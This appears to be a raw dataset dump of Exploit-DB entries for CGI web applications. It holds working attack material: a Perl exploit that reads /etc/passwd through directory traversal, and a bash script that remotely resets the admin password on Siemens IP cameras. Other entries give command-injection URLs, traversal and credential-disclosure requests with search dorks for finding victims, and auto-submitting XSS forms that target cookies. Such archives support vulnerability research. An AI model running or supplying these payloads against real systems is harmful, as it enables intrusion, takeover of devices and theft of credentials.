deardaniel/secdata-raw huggingface dataset:
Exploit-DB #289
Description: sendtemp.pl - Read Access to Files
Type: webapps
Platform: cgi
Date: 2001-03-04
Author: Tom Parker

Exploit:
#!/usr/bin/perl -w

# sendtemp.pl: A part of the Amaya Web development
# server contains a file disclosure  vulnerability, 
# which allows remote, read access to files 
# on the servers file system,  as whichever 
# user the httpd is running as.
#
# The Vulnerability is really quite simple..
# When the `templ` argument is past to
# sendtemp.pl it adds a link to the chosen stylesheet
# and a META field containing the publication's 
# URL of the new file to the chosen template.
# For example:
# http://localhost/cgi-bin/sendtemp.pl?templ=template.xml
# This is all well and good,  however.. 
# There is no sanity checking on the param you pass to the script..
# Ie: my $temp_file = param("templ");
#
# So by simply issuing a GET to:
# "http://localhost/cgi-bin/sendtemp.pl?templ=../../etc/passwd"
# The systems file system can be traversed and the passwd file can be read. 
# (Assuming the http daemon hasn't been run under chroot())
#
# Follows is a simple exploit.. however, its just as easy 
# to do this manually in your web browser.
# I really couldnt be bothered to format the output in any way,
# It only encourages script kiddies.
#
# Finally, "l33t hax0r greetz" to..
# ne0h, b0red, loophole, shad0w and the old dL crew..
# Scott, Jim, Mike.. All of the guys at Global Intersec.
#
# Tom Parker - tom@rooted.net
# MRX of HHP-Programming (www.hhp-programming.net)
# Global InterSec INC California - Security Audits, Penetration testing, code auditing.

use IO::Socket;
print qq~
----------------------------------------------------------
W3.ORG sendtemp.pl exploit by Tom Parker - tom\@rooted.net
    MRX of HHP-Programming (www.hhp-programming.net)
	  -  Global InterSec INC California -
----------------------------------------------------------
~;
if((!defined($ARGV[0]))||(!defined($ARGV[1]))) { print "Usage\: \%filename\.pl \<hostname\> \<file-to-get\>\n"; exit 0; }
$SOCKET = IO::Socket::INET->new("$ARGV[0]:80");
print $SOCKET "GET /cgi-bin/sendtemp.pl?templ=$ARGV[1]\n";
print "Sent request for $ARGV[1] (http://$ARGV[0]/cgi-bin/sendtemp.pl\?templ\=$ARGV[1])\n";
while(<$SOCKET>) {
push @DATA, $_;

}
my $woot = join(' ',@DATA);
if($woot =~/$ARGV[1] wasn't found/) { print "$ARGV[1] dosnt seem to exist.\n"; exit 0; } 
else { print "@DATA"; }

# milw0rm.com [2001-03-04]
Exploit-DB #6864
Description: Sepal SPBOARD 4.5 - 'board.cgi' Remote Command Execution
Type: webapps
Platform: cgi
Date: 2008-10-29
Author: GoLd_M

Exploit:
 _____   ____   __   __     _       ____        ____    ____ 
|_   _| |  _ \  \ \ / /    / \     / ___|      / ___|  / ___|
  | |   | |_) |  \ V /    / _ \   | |  _      | |     | |    
  | |   |  _ <    | |    / ___ \  | |_| |  _  | |___  | |___ 
  |_|   |_| \_\   |_|   /_/   \_\  \____| (_)  \____|  \____|
                                                            

Sepal's SPBOARD v4.5 (board.cgi) Remote Command Execution Vulnerability
Script : ):
POC : 
    |---> http://sansuyu.net/cgi-bin/spboard/board.cgi?id=ors1&number=908.cgi&file=|ls -lia|&action=down_file
    |---> http://sansuyu.net/cgi-bin/spboard/board.cgi?id=ors1&number=908.cgi&file=|cat board.cgi|&action=down_file
    |---> Open By Mozilla Firefox 
Dork : http://www.google.com.ly/search?hl=ar&q=SPBOARD+v4.5

        ____           _           _           __  __ 
       / ___|   ___   | |       __| |         |  \/  |
      | |  _   / _ \  | |      / _` |         | |\/| |
      | |_| | | (_) | | |___  | (_| |         | |  | |
       \____|  \___/  |_____|  \__,_|  _____  |_|  |_|
                                      |_____|         

# milw0rm.com [2008-10-29]
Exploit-DB #23705
Description: ShopCartCGI 2.3 - 'gotopage.cgi' Traversal Arbitrary File Access
Type: webapps
Platform: cgi
Date: 2004-02-16
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/9670/info

It has been reported that ShopcartCGI is prone to a remote file disclosure vulnerability. This issue is due to insufficient validation of user-supplied input.

Upon successful exploitation of this issue an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.com/directory/gotopage.cgi?13686+/../../../../../../../../../../../../../../../../etc/passwd
Exploit-DB #23706
Description: ShopCartCGI 2.3 - genindexpage.cgi Traversal Arbitrary File Access
Type: webapps
Platform: cgi
Date: 2004-02-16
Author: G00db0y

Exploit:
source: https://www.securityfocus.com/bid/9670/info
 
It has been reported that ShopcartCGI is prone to a remote file disclosure vulnerability. This issue is due to insufficient validation of user-supplied input.
 
Upon successful exploitation of this issue an attacker may be able to gain access to sensitive system files, potentially facilitating further attacks.

http://www.example.com/directory/genindexpage.cgi?13687+Home+/../../../../../../../../../../../../../../../../etc/passwd
Exploit-DB #25649
Description: showoff! digital media software 1.5.4 - Multiple Vulnerabilities
Type: webapps
Platform: cgi
Date: 2011-05-11
Author: dr_insane

Exploit:
source: https://www.securityfocus.com/bid/13598/info

ShowOff! Digital Media Software is affected by multiple vulnerabilities. These issues can allow an attacker to carry out directory traversal and denial of service attacks.

ShowOff! Digital Media Software 1.5.4 is reportedly vulnerable. Other versions may be affected as well. 

http://www.example.com/ShowAlbum?ShowDetails&1&nocount&/../../../../../../../../../../[file]
http://www.example.com/ShowVideo?1&fullnocount&/../../../../../../../../../../[file]
http://www.example.com/ShowGraphic?/../../../../../../../../[file]
Exploit-DB #40260
Description: SIEMENS IP Camera CCMW1025 x.2.2.1798 - Remote Admin Credentials Change
Type: webapps
Platform: cgi
Date: 2016-08-18
Author: Todor Donev

Exploit:
#!/bin/bash
#
#  SIEMENS IP Camera CCMW1025 x.2.2.1798 remote change admin user/password 
#
#  Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>
#  http://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#  
#  Disclaimer:
#  This or previous programs is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#  
#  Use them at your own risk!
#
#  
 
if [[ $# -gt 4 || $# -lt 3 ]]; then
        echo "  [ SIEMENS IP Camera CCMW1025 x.2.2.1798 remote change admin user/password"
        echo "  [ =================================================="
        echo "  [ Usage: $0 <target> <user> <password> <repeat password>"
        echo "  [ Example: $0 192.168.1.200:80 hacker teflon teflon"
        echo "  ["
        echo "  [ Copyright 2016 (c) Todor Donev  <todor.donev at gmail.com>"
        echo "  [ http://www.ethical-hacker.org/  https://www.facebook.com/ethicalhackerorg "
        exit;
fi
GET=`which GET 2>/dev/null`
if [ $? -ne 0 ]; then
        echo "  [ Error : libwww-perl not found =/"
        exit;
fi
        GET "http://$1/cgi-bin/writefile.cgi?DEFonoff_adm=&Adm_ID=$2&Adm_Pass1=$3&Adm_Pass2=$4&Language=en&Logoff_Time=0&UpSectionName=ADMINID" 0&> /dev/null <&1
Exploit-DB #40262
Description: SIEMENS IP Cameras (Multiple Models) - Credential Disclosure / Configuration Download
Type: webapps
Platform: cgi
Date: 2016-08-19
Author: Todor Donev

Exploit:
# 
#
#  Multiple SIEMENS IP Cameras auth bypass configuration download
#
#  Tested: 
#  SIEMENS IP Camera CCID1410-ST X.1.0.24
#  SIEMENS IP Camera CCMW1025 x.2.2.1798
#  SIEMENS IP Camera CCMS2025 x.2.2.1798
#  SIEMENS IP Camera CVMS2025-IR x.2.2.1798
#  SIEMENS IP Camera CVMS2025-IR CxMS2025_V2458
#  SIEMENS IP Camera CVMS2025-IR CxMS2025_V2458_SP1
#  SIEMENS IP Camera CCPW5025-IR CCPWx025_V0.1.58
#  
#  ...and more, more devices who use same firmware
#
#  Copyright 2016 (c) Todor Donev <todor.donev at gmail.com>
#  http://www.ethical-hacker.org/
#  https://www.facebook.com/ethicalhackerorg
#  
#  Disclaimer:
#  This or previous programs is for Educational
#  purpose ONLY. Do not use it without permission.
#  The usual disclaimer applies, especially the
#  fact that Todor Donev is not liable for any
#  damages caused by direct or indirect use of the
#  information or functionality provided by these
#  programs. The author or any Internet provider
#  bears NO responsibility for content or misuse
#  of these programs or any derivatives thereof.
#  By using these programs you accept the fact
#  that any damage (dataloss, system crash,
#  system compromise, etc.) caused by the use
#  of these programs is not Todor Donev's
#  responsibility.
#  
#  Use them at your own risk!
#
#  
 
http://TARGET/cgi-bin/chklogin.cgi?file=config.ini
http://TARGET/cgi-bin/check.cgi?file=ikwd03conf.ini
Exploit-DB #40254
Description: SIEMENS IP-Camera CVMS2025-IR / CCMS2025 - Credentials Disclosure
Type: webapps
Platform: cgi
Date: 2016-08-17
Author: Yakir Wizman

Exploit:
1. Advisory Information
========================================
Title                   : SIEMENS IP-Camera Unauthenticated Remote Credentials Disclosure
Vendor Homepage         : https://www.siemens.com
Remotely Exploitable	: Yes
Versions Affected       : x.2.2.1798, CxMS2025_V2458_SP1, x.2.2.1798, x.2.2.1235
Tested on Camera types	: CVMS2025-IR, CCMS2025 (Camera type)
Reference for CCMS2025  : https://w5.siemens.com/web/cz/cz/corporate/portal/home/produkty_a_sluzby/IBT/pozarni_a_bezpecnostni_systemy/cctv/ip_kamery/Documents/023_CCIS1425_A6V10333969_en.doc.pdf
Vulnerability           : Username / Password Disclosure (Critical/High)
Shodan Dork             : title:"SIEMENS IP-Camera"
Date                    : 16/08/2016
Author                  : Yakir Wizman (https://www.linkedin.com/in/yakirwizman)
 
 
2. CREDIT
========================================
This vulnerability was identified during penetration test by Yakir Wizman.
  

3. Description
========================================
SIEMENS IP-Camera (CVMS2025-IR + CCMS2025) allows to unauthenticated user disclose the username & password remotely by simple request which made by browser.


4. Proof-of-Concept:
========================================
Simply go to the following url:
http://host:port/cgi-bin/readfile.cgi?query=ADMINID

Should return some javascript variable which contain the credentials and other configuration vars:
var Adm_ID="admin"; var Adm_Pass1=“admin”; var Adm_Pass2=“admin”; var Language=“en”; var Logoff_Time="0"; 


Request:
----------
GET /cgi-bin/readfile.cgi?query=ADMINID HTTP/1.1
Host: host:port
Connection: close


Response:
----------
HTTP/1.0 200 OK
Connection: close
Content-type: text/html

var Adm_ID="admin";
var Adm_Pass1=“admin”;
var Adm_Pass2=“admin”;
var Language=“en”;
var Logoff_Time="0";



Login @ http://host:port/cgi-bin/chklogin.cgi


5. SOLUTION
========================================
Contact the vendor for further information regarding the proper mitigation of this vulnerability.
Exploit-DB #25668
Description: Sigma ISP Manager 6.6 - 'Sigmaweb.dll' SQL Injection
Type: webapps
Platform: cgi
Date: 2005-05-16
Author: mehran gashtasebi

Exploit:
source: https://www.securityfocus.com/bid/13640/info

Sigma ISP Manager is prone to an SQL injection vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input prior to using it in an SQL query.

Successful exploitation could result in a compromise of the application, disclosure or modification of data, or may permit an attacker to exploit vulnerabilities in the underlying database implementation.

http://www.example.com/scripts/sigmaweb.dll

username: a very long sting of codes and data like:

: /' /'.' por //":>>?>>??>+_+_)()((**&^%^%%$#!?><>><><?/?""""''':L:L"">:":.
Exploit-DB #26463
Description: Simple PHP Blog 0.4 - 'colors.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2005-11-02
Author: enji@infosys.tuwien.ac.at

Exploit:
source: https://www.securityfocus.com/bid/15283/info
  
Simple PHP Blog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
  
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
<input name="save_btn" value="1"/>
<input name="scheme_name" value='"></option></select><script>alert(document.cookie)</script>'/>
<input name="scheme_file" value="blabla"/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/colors_cgi.php" method="post">
<input name="save_btn" value="1"/>
<input name="scheme_name" value="myscheme"/>
<input name="scheme_file" value="blabla"/>
<input name="bg_color" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>
Exploit-DB #26461
Description: Simple PHP Blog 0.4 - 'preview_cgi.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2005-11-02
Author: enji@infosys.tuwien.ac.at

Exploit:
source: https://www.securityfocus.com/bid/15283/info

Simple PHP Blog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="blog_subject" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>
Exploit-DB #26462
Description: Simple PHP Blog 0.4 - 'preview_static_cgi.php' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2005-11-02
Author: enji@infosys.tuwien.ac.at

Exploit:
source: https://www.securityfocus.com/bid/15283/info
 
Simple PHP Blog is prone to multiple input validation vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage these issues to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. These may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="blog_text" value='</textarea><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>

<form action="http://your-server/path-to-sphpblog/preview_static_cgi.php" method="post">
<input name="file_name" value='"><script>alert(document.cookie)</script>'/>
<input type="submit"/>
</form>

<script type="text/javascript">
document.forms[0].submit();
</script>
Exploit-DB #35015
Description: SimpLISTic SQL 2.0 - 'email.cgi' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2010-11-24
Author: Aliaksandr Hartsuyeu

Exploit:
source: https://www.securityfocus.com/bid/45040/info

SimpLISTic SQL is prone to a cross-site-scripting vulnerability because the application fails to properly sanitize user-supplied input.

An attacker may leverage this issue to execute arbitrary script code in the browser of an unsuspecting user in the context of the affected site. This may help the attacker steal cookie-based authentication credentials and launch other attacks.

SimpLISTic SQL 2.0 is vulnerable; other versions may also be affected.

Email: email@example.com&lt;/textarea&gt;<script>alert(&#039;XSS vulnerability&#039;)</script>
Exploit-DB #46237
Description: SirsiDynix e-Library 3.5.x - Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2019-01-24
Author: AkkuS

Exploit:
# Exploit Title: SirsiDynix e-Library <= 3.5.x - Cross-Site Scripting
# CVE: CVE-2018-20503
# Date: 2019-24-01
# Google Dork: inurl:/x/x/0/49
# Exploit Author: Özkan Mustafa Akkuş (AkkuS)
# Contact: https://pentest.com.tr
# Vendor Homepage: http://www.sirsidynix.com
# Version: 3.5.x
# Category: Webapps
# Tested on: Firefox/52 and Chrome/69
# Software Description : As SirsiDynix Symphony’s core discovery portal,
e-Library gives
# Symphony users the basic tools they need to find the resources they seek.
# e-Library offers users speedy and relevant search results as well as a
user-friendly interface to make discovery simple
# Description : Exploiting these issues could allow an attacker to steal
cookie-based authentication credentials,
# compromise the application, access or modify data, or exploit latent
vulnerabilities in the underlying database.
# SirsiDynix e-Library 3.5.x is vulnerable; prior versions may also be
affected.
# ==================================================================

# PoC:

# POST Request (sort_by):

POST /uhtbin/cgisirsi/?ps=0Sk8zSpD0f/MAIN/33660028/123 HTTP/1.1
Host: target
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer:
http://target/uhtbin/cgisirsi/?ps=mmRoXTc0L3/MAIN/33660028/38/1/X/BLASTOFF
Connection: close
Upgrade-Insecure-Requests: 1
Content-Type: application/x-www-form-urlencoded
Content-Length: 146

searchdata1=test&srchfield1=AU%5EAUTHOR%5EAUTHORS%5EAuthor+Processing%5EYazar&library=VLK&srch_history=--%C3%96nceki+soruyu+se%C3%A7--&sort_by=ANYhadvi%22%3e%3cscript%3ealert(1)%3c%2fscript%3eox0ix

==================================================================
Exploit-DB #23085
Description: Sitebuilder 1.4 - 'sitebuilder.cgi' Directory Traversal
Type: webapps
Platform: cgi
Date: 2003-09-01
Author: Zero X

Exploit:
source: https://www.securityfocus.com/bid/8521/info

Sitebuilder is said to be prone to a directory traversal vulnerability, potentially allowing users to disclose the contents of system files. The problem occurs due to the application failing to parse user-supplied input for directory traversal sequences (../) supplied to the 'sitebuilder.cgi' script, thus making it possible to access files outside of the established web root. 

<html><body><p><center>
<b>Mein 31337 Exploit :-P</b><br>
<form action="http://targethost.com/cgi-bin/sbcgi/sitebuilder.cgi"
method=POST>
<input type="hidden" name="username" value="targetuser">
<input type="hidden" name="password" value="targetpassword">
<input type="hidden" name="selectedpage"
value="../../../../../../../../../../etc/passwd">
<p><input type="submit" name="action" value="Yes - Use Advanced Editor">
<p><input type="submit" value="Return to Site Builder">
</form>
</center></body></html>
Exploit-DB #23447
Description: SiteInteractive Subscribe Me - 'Setup.pl' Arbitrary Command Execution
Type: webapps
Platform: cgi
Date: 2003-12-18
Author: Paul Craig

Exploit:
source: https://www.securityfocus.com/bid/9253/info

It has been reported that the SiteInteractive Subscribe Me setup.pl script lacks sufficient sanitization on user-supplied URI parameters; an attacker may invoke this script remotely and and by passing sufficient URI parameters may influence the setup script into creating a file. This file can then be invoked to have arbitrary Perl script executed in the context of the target webserver. 

http://www.example.com/cgi-bin/setup.pl?RUNINSTALLATION=yes&information=~&extension=pl&config=pl&permissions=777&os=notunixornt&perlpath=/usr/bin/perl&mailprog=/bin/sh&notific
ation="%20.`%2F%75%73%72%2F%62%69%6E%2F%69%64%20%3E%20%69%64`
%20."&websiteurl=evilhacker&br_username=evilhacker&session_id=0&cgipath=.
Exploit-DB #26842
Description: Sitenet BBS 2.0 - 'netboardr.cgi' Multiple Cross-Site Scripting Vulnerabilities
Type: webapps
Platform: cgi
Date: 2005-12-15
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15883/info

SiteNet BBS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.

An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://example.com/netboardr.cgi?fid=929&cid=926&tid=965&pg=[XSS]
http://example.com/netboardr.cgi?fid=929&cid=926&tid=[XSS]
http://example.com/netboardr.cgi?fid=929&cid=[XSS]
http://example.com/netboardr.cgi?fid=[XSS]
Exploit-DB #26843
Description: Sitenet BBS 2.0 - 'search.cgi?cid' Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2005-12-15
Author: r0t3d3Vil

Exploit:
source: https://www.securityfocus.com/bid/15883/info
 
SiteNet BBS is prone to a cross-site scripting vulnerability. This issue is due to a failure in the application to properly sanitize user-supplied input.
 
An attacker may leverage this issue to have arbitrary script code executed in the browser of an unsuspecting user in the context of the affected site. This may facilitate the theft of cookie-based authentication credentials as well as other attacks. 

http://example.com/search.cgi?cid=[XSS]
Exploit-DB #30919
Description: SiteScape Forum - 'dispatch.cgi' Tcl Command Injection
Type: webapps
Platform: cgi
Date: 2007-12-20
Author: niekt0

Exploit:
source: https://www.securityfocus.com/bid/26963/info

SiteScape Forum is prone to a command-injection vulnerability because it fails to adequately sanitize user-supplied input.

Attackers can exploit this issue to execute arbitrary commands in the context of the webserver process. Successful exploits could compromise the application and possibly the underlying system.

http://www.example.com/forum/support/dispatch.cgi/0;command
Exploit-DB #15625
Description: Skeletonz CMS - Persistent Cross-Site Scripting
Type: webapps
Platform: cgi
Date: 2010-11-28
Author: Jbyte

Exploit:
# Exploit Title: Xss on skeletonz-simple dynamic cms in the section comments
# Google Dork: 
# Date: 27/11/10
# Author: Jordan Diaz aka Jbyte
# Software Link: http://orangoo.com/skeletonz/
# Version: 1.0
# Tested on: Windows xp
# CVE : 
The follow xss is located in the section of comments of the CMS skeletonz
Xss Exploit
field Name: <script>alert('xss');</script>field Comment: <script>alert('xss');</script>